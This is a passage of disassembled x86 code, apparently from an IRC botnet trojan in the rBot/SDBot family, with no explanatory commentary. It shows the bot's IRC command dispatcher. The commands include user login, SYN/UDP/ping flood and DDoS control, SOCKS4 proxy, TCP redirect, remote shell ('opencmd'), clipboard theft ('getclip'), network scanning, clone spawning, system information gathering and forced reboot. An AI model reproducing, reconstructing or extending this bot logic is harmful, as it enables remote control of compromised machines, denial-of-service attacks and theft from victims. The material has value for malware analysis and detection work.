		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_40352D:				; CODE XREF: seg000:004033F6j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40354F
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40357C


loc_40354F:				; CODE XREF: seg000:0040353Cj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_403554:				; CODE XREF: seg000:00403574j
		cmp	[edi], bl
		jz	short loc_40356A
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4035BE


loc_40356A:				; CODE XREF: seg000:00403556j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_403554
		mov	esi, [ebp-90h]


loc_40357C:				; CODE XREF: seg000:0040354Dj
		push	esi
		push	offset a353	; "353"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40361F
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4035AE
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_4035AE:				; CODE XREF: seg000:004035A3j
		push	dword ptr [ebp-84h]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_4085E6
; ---------------------------------------------------------------------------


loc_4035BE:				; CODE XREF: seg000:00403568j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-90h]
		push	offset aPart_0	; "PART"
		call	sub_41D900
		add	esp, 18h
		test	eax, eax
		jnz	loc_403498
		lea	eax, [ebp-2C8h]
		push	eax
		mov	eax, [ebp-94h]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		jmp	loc_4033DA
; ---------------------------------------------------------------------------


loc_40361F:				; CODE XREF: seg000:0040358Bj
		push	esi
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403662
		push	esi
		push	offset aNotice_0 ; "NOTICE"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403662
		push	esi
		push	offset a332	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40845F
		cmp	ds:dword_43CC68, ebx
		jz	loc_40845F


loc_403662:				; CODE XREF: seg000:0040362Ej
					; seg000:0040363Fj
		push	esi
		push	offset aPrivmsg_1 ; "PRIVMSG"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40376F
		push	esi
		push	offset aNotice_1 ; "NOTICE"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40376F
		mov	eax, [ebp-88h]
		inc	dword ptr [ebp-84h]
		mov	dword ptr [ebp-0A4h], 4
		mov	[ebp-8Ch], eax


loc_4036A8:				; CODE XREF: seg000:0040382Bj
					; seg000:00403861j ...
		mov	eax, [ebp-0A4h]
		mov	esi, eax
		shl	esi, 2
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, ds:byte_43CC74
		mov	[ebp+14h], edi
		jnz	loc_403498
		push	edi
		push	offset aLoginhi	; "loginhi"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408467
		push	edi
		push	offset aHi	; "hi"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408467
		cmp	[ebp-0A8h], ebx
		jnz	short loc_403723
		push	dword ptr [ebp-90h]
		push	offset a332_3	; "332"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40845F


loc_403723:				; CODE XREF: seg000:00403707j
		cmp	[ebp+30h], ebx
		jnz	loc_40845F
		cmp	ds:dword_43D060, ebx
		mov	[ebp+10h], ebx
		jle	loc_4039FC
		mov	dword ptr [ebp+28h], offset dword_451638


loc_403742:				; CODE XREF: seg000:00403768j
		push	edi
		push	dword ptr [ebp+28h]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40388E
		inc	dword ptr [ebp+10h]
		add	dword ptr [ebp+28h], 0B8h
		mov	eax, [ebp+10h]
		cmp	eax, ds:dword_43D060
		jl	short loc_403742
		jmp	loc_4039FC
; ---------------------------------------------------------------------------


loc_40376F:				; CODE XREF: seg000:00403671j
					; seg000:00403686j
		push	esi
		push	offset aNotice_2 ; "NOTICE"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403787
		mov	dword ptr [ebp-4], 1


loc_403787:				; CODE XREF: seg000:0040377Ej
		mov	edi, [ebp-8Ch]
		cmp	edi, ebx
		jz	loc_403498
		push	offset asc_43D908 ; "#"
		push	edi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4037AB
		cmp	[ebp-4], ebx
		jz	short loc_4037B7


loc_4037AB:				; CODE XREF: seg000:004037A4j
		lea	edi, [ebp-0C0h]
		mov	[ebp-8Ch], edi


loc_4037B7:				; CODE XREF: seg000:004037A9j
		cmp	[ebp-88h], ebx
		jz	loc_403498
		inc	dword ptr [ebp-88h]
		jz	short loc_403801
		cmp	[ebp+18h], ebx
		jz	short loc_403801
		lea	eax, [ebp-564h]
		push	eax
		call	sub_41AC70
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41E510
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp-0A4h], eax
		jmp	short loc_403807
; ---------------------------------------------------------------------------


loc_403801:				; CODE XREF: seg000:004037C9j
					; seg000:004037CEj
		mov	eax, [ebp-0A4h]


loc_403807:				; CODE XREF: seg000:004037FFj
		shl	eax, 2
		mov	[ebp+10h], eax
		mov	esi, [ebp+eax-94h]
		cmp	esi, ebx
		jz	loc_403498
		push	esi
		push	offset dword_43D90C
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4036A8
		cmp	byte ptr [edi],	23h
		jz	short loc_403852
		mov	eax, ds:dword_4DF33C
		mov	eax, ds:off_43CD28[eax*4]
		cmp	[eax], bl
		jz	short loc_403852
		push	eax
		push	edi
		push	offset dword_43D918
		jmp	loc_4033DA
; ---------------------------------------------------------------------------


loc_403852:				; CODE XREF: seg000:00403834j
					; seg000:00403844j
		push	esi
		push	offset dword_43D934
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4036A8
		mov	eax, [ebp+10h]
		mov	eax, [ebp+eax-90h]
		cmp	eax, ebx
		jz	loc_4036A8
		cmp	byte ptr [edi],	23h
		jz	loc_4036A8
		push	eax
		push	edi
		push	offset dword_43D93C
		jmp	loc_4033DA
; ---------------------------------------------------------------------------


loc_40388E:				; CODE XREF: seg000:0040374Fj
		push	offset asc_43DA9C ; " :"
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_403498
		mov	edi, [ebp+10h]
		mov	cl, ds:byte_43CC74
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_43CC74
		mov	[eax+3], cl
		lea	ecx, dword_451650[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41D800
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+10h], 0Fh
		mov	[ebp+28h], eax


loc_4038E6:				; CODE XREF: seg000:0040398Ej
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403952
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jz	short loc_403952
		lea	eax, dword_451638[edi]
		push	eax
		call	sub_41AC70
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_403984
		mov	eax, [ebp+28h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403984
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4176D7
		add	esp, 0Ch
		jmp	short loc_403984
; ---------------------------------------------------------------------------


loc_403952:				; CODE XREF: seg000:0040390Ej
					; seg000:00403915j
		mov	eax, [ebp+28h]
		cmp	[eax], ebx
		jnz	short loc_403984
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4176D7
		add	esp, 18h


loc_403984:				; CODE XREF: seg000:00403927j
					; seg000:0040393Bj ...
		dec	dword ptr [ebp+10h]
		sub	dword ptr [ebp+28h], 4
		cmp	[ebp+10h], ebx
		jg	loc_4038E6
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+10h], 10h
		mov	edi, eax


loc_4039A1:				; CODE XREF: seg000:004039EDj
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0A0h]
		push	offset aD_1	; "$%d"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E4
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4039E4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4176D7
		add	esp, 0Ch


loc_4039E4:				; CODE XREF: seg000:004039C9j
					; seg000:004039CFj
		dec	dword ptr [ebp+10h]
		sub	edi, 4
		cmp	[ebp+10h], ebx
		jg	short loc_4039A1
		mov	edi, [ebp+14h]
		mov	dword ptr [ebp-0C8h], 1


loc_4039FC:				; CODE XREF: seg000:00403735j
					; seg000:0040376Aj
		mov	al, [edi]
		cmp	al, ds:byte_43CC74
		jz	short loc_403A12
		cmp	[ebp-0C8h], ebx
		jz	loc_403BFB


loc_403A12:				; CODE XREF: seg000:00403A04j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe	; "$me"
		push	edi
		call	sub_4176D7
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_4176D7
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4176D7
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_408A38
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_4176D7
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_4176D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		add	esp, 14h


loc_403A84:				; CODE XREF: seg000:00403B74j
		test	eax, eax
		jz	loc_403B79
		push	offset aChr_0	; "$chr("
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-0A0h]
		push	offset asc_43DAE4 ; ")"
		push	eax
		call	sub_41D6B0
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_403AD4
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_403AEA


loc_403AD4:				; CODE XREF: seg000:00403AC9j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_41D800
		add	esp, 0Ch


loc_403AEA:				; CODE XREF: seg000:00403AD2j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	short loc_403B0D
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41D560
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_403B1E
; ---------------------------------------------------------------------------


loc_403B0D:				; CODE XREF: seg000:00403AF9j
		call	sub_41DBA0
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_403B1E:				; CODE XREF: seg000:00403B0Bj
		lea	eax, [ebp-0A0h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_41AC70
		mov	[ebp+10h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_41D100
		mov	eax, [ebp+10h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4176D7
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41DBE0
		add	esp, 30h
		jmp	loc_403A84
; ---------------------------------------------------------------------------


loc_403B79:				; CODE XREF: seg000:00403A86j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_41D800
		lea	eax, [ebp-119Ch]
		push	offset asc_43DAEC ; " "
		push	eax
		call	sub_41D6B0
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_403BC9:				; CODE XREF: seg000:00403BDEj
		push	offset asc_43DAF0 ; " "
		push	ebx
		call	sub_41D6B0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_403BC9
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_403498
		add	ecx, 3
		mov	[eax], ecx


loc_403BFB:				; CODE XREF: seg000:00403A0Cj
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+18h], edi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408412
		push	edi
		push	offset aRn	; "rn"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408412
		push	edi
		push	offset aDie	; "die"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083F0
		push	edi
		push	offset aD_2	; "d"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083F0
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408345
		push	edi
		push	offset aLo	; "lo"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408345
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	edi
		push	offset aS4	; "s4"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408223
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CD6
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aServer_1 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403CD6:				; CODE XREF: seg000:00403CBCj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CFF
		push	dword ptr [ebp+esi-90h]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403CFF:				; CODE XREF: seg000:00403CE5j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D28
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403D28:				; CODE XREF: seg000:00403D0Ej
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D51
		push	dword ptr [ebp+esi-90h]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403D51:				; CODE XREF: seg000:00403D37j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D7A
		push	dword ptr [ebp+esi-90h]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect ; "[REDIRECT]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403D7A:				; CODE XREF: seg000:00403D60j
		push	edi
		push	offset aDdos_stop ; "ddos.stop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DA3
		push	dword ptr [ebp+esi-90h]
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403DA3:				; CODE XREF: seg000:00403D89j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DCC
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn_0	; "[SYN]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403DCC:				; CODE XREF: seg000:00403DB2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DF5
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403DF5:				; CODE XREF: seg000:00403DDBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E1E
		push	dword ptr [ebp+esi-90h]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_0	; "[PING]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403E1E:				; CODE XREF: seg000:00403E04j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E47
		push	dword ptr [ebp+esi-90h]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset aTftp_0	; "[TFTP]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403E47:				; CODE XREF: seg000:00403E2Dj
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081F4
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081F4
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E9A
		push	dword ptr [ebp+esi-90h]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403E9A:				; CODE XREF: seg000:00403E80j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403EC3
		push	dword ptr [ebp+esi-90h]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset aSecure_0 ; "[SECURE]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403EC3:				; CODE XREF: seg000:00403EA9j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403EEC
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset aScan_1	; "[SCAN]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: seg000:00403ED2j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DE
		push	edi
		push	offset aStats	; "stats"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DE
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081BD
		push	edi
		push	offset aR	; "r"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081BD
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40819B
		push	edi
		push	offset aDc	; "dc"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40819B
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408153
		push	edi
		push	offset aQ	; "q"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408153
		push	edi
		push	offset aStatus	; "status"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408115
		push	edi
		push	offset aS_0	; "s"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408115
		push	edi
		push	offset aId	; "id"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DE
		push	edi
		push	offset aI_0	; "i"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DE
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40403A
		call	sub_417BA1
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_40400C
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_40400C:				; CODE XREF: seg000:00404005j
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 1Ch
		jmp	loc_4066B9
; ---------------------------------------------------------------------------


loc_40403A:				; CODE XREF: seg000:00403FF7j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FED
		push	edi
		push	offset aT	; "t"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FED
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FCD
		push	edi
		push	offset aAl	; "al"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FCD
		push	edi
		push	offset aLog990	; "log990"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EDD
		push	edi
		push	offset aLg909	; "lg909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EDD
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EC1
		push	edi
		push	offset aClg	; "clg"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EC1
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E8A
		push	edi
		push	offset aNi	; "ni"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E8A
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E5F
		push	edi
		push	offset aSi	; "si"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E5F
		push	edi
		push	offset aR010m	; "r010m"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E25
		push	edi
		push	offset aR010m_0	; "r010m"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E25
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D02
		push	edi
		push	offset aPs	; "ps"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D02
		push	edi
		push	offset aUptime90 ; "uptime90"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C7E
		push	edi
		push	offset aUp909	; "up909"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C7E
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C61
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C61
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C48
		push	edi
		push	offset aDll	; "dll"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C48
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C01
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C01
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40425B
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_408207
; ---------------------------------------------------------------------------


loc_40425B:				; CODE XREF: seg000:00404241j
		push	edi
		push	offset aWho	; "who"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4042E8
		cmp	[ebp-8], ebx
		jnz	short loc_40428B
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_40428B:				; CODE XREF: seg000:0040426Fj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_404290:				; CODE XREF: seg000:004042D6j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40429C
		mov	eax, offset aEmpty ; "<Empty>"


loc_40429C:				; CODE XREF: seg000:00404295j
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41D260
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404290
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."


loc_4042DD:				; CODE XREF: seg000:004080D9j
		call	sub_4161A7
		pop	ecx
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_4042E8:				; CODE XREF: seg000:0040426Aj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BC0
		push	edi
		push	offset aGc	; "gc"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BC0
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B95
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B95
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B71
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B71
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
